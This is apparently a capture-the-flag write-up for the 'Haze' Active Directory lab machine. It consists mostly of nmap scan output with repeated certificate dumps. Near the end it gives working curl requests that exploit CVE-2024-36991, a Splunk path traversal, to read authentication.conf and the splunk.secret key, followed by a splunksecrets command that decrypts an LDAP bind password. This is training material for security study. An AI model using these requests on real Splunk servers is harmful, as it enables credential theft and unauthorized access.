Description#

Haze is a challenging Active Directory machine characterized by vulnerable Splunk installation and security configurations. The machine involves CVE-2024-36991, decrypting Splunk secret, exploiting multiple ACL/ACE vulnerabilities, and abusing SeImpersonatePrivilege.

Recon#

nmap#

nmap shows open ports that are common on a Domain Controller machine and with extra ports : 8000, 8088, and 8089.

# Nmap 7.95 scan initiated Sun Mar 30 12:00:16 2025 as: nmap -vvv -p- -T4 -sSCV -oN all_tcp_scan.txt 10.10.11.61
Nmap scan report for 10.10.11.61 (10.10.11.61)
Host is up, received echo-reply ttl 127 (0.037s latency).
Scanned at 2025-03-30 12:00:16 WIB for 106s
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-30 12:42:16Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
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| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          syn-ack ttl 127 Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6
|_http-server-header: Splunkd
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
8088/tcp  open  ssl/http      syn-ack ttl 127 Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:29:08
| Not valid after:  2028-03-04T07:29:08
| MD5:   82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b
| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5
| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu
| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD
| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9
| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ
| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR
| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5
| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41
| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy
| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm
| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA
| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6
| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj
| 3EhgaH2L
|_-----END CERTIFICATE-----
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: 404 Not Found
| http-methods:
|_  Supported Methods: GET POST HEAD OPTIONS
8089/tcp  open  ssl/http      syn-ack ttl 127 Splunkd httpd
|_http-server-header: Splunkd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:29:08
| Not valid after:  2028-03-04T07:29:08
| MD5:   82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b
| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5
| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu
| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD
| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9
| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ
| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR
| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5
| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41
| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy
| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm
| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA
| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6
| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj
| 3EhgaH2L
|_-----END CERTIFICATE-----
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51763/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51770/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
51771/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51772/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51791/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51802/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51827/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51989/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64337/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 46282/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 18830/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26877/udp): CLEAN (Timeout)
|   Check 4 (port 63173/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-03-30T12:43:08
|_  start_date: N/A
|_clock-skew: 7h41m13s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

It reveals the hostname DC01 and the domain haze.htb, make sure to add those and the FQDN to /etc/hosts.

10.10.11.61 dc01.haze.htb haze.htb dc01

Splunk#

Enumeration#

Currently, we didn’t have any credentials and no anonymous access, so let’s check the HTTP/HTTPS port.
Splunk dashboard at 8000 needs a valid credential, I will skip it for now. We can get the current installed Splunk version at HTTPS port 8089.

alt text

The current version has CVE-2024-36991 that allows Arbitrary File Read. We could get the Splunk’s passwd file but the hash is uncrackable. Based on the Splunk documentation, the authentication.conf file contains configuration about LDAP connection. This file is located inside $SPLUNK_HOME/etc/system/default/, but the path traversal from the PoC already exposed the amount path we need to reach the $SPLUNK_HOME directory.

CVE-2024-36991#

curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/local/authentication.conf'
...
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = <hash>
...

You will find Paul Taylor hash. This hash is exclusively generated from Splunk hashing algorithm, we can crack it using splunksecrets. Anyway, we need splunk.secret which is located at $SPLUNK_HOME/etc/auth/splunk.secret directory according to this thread.

curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret' -o splunk.secret

Crack it with splunksecrets.

splunksecrets splunk-decrypt -S splunk.secret --ciphertext '<hash>'

We don’t know the username format, so let’s generate a username list with username-anarchy.

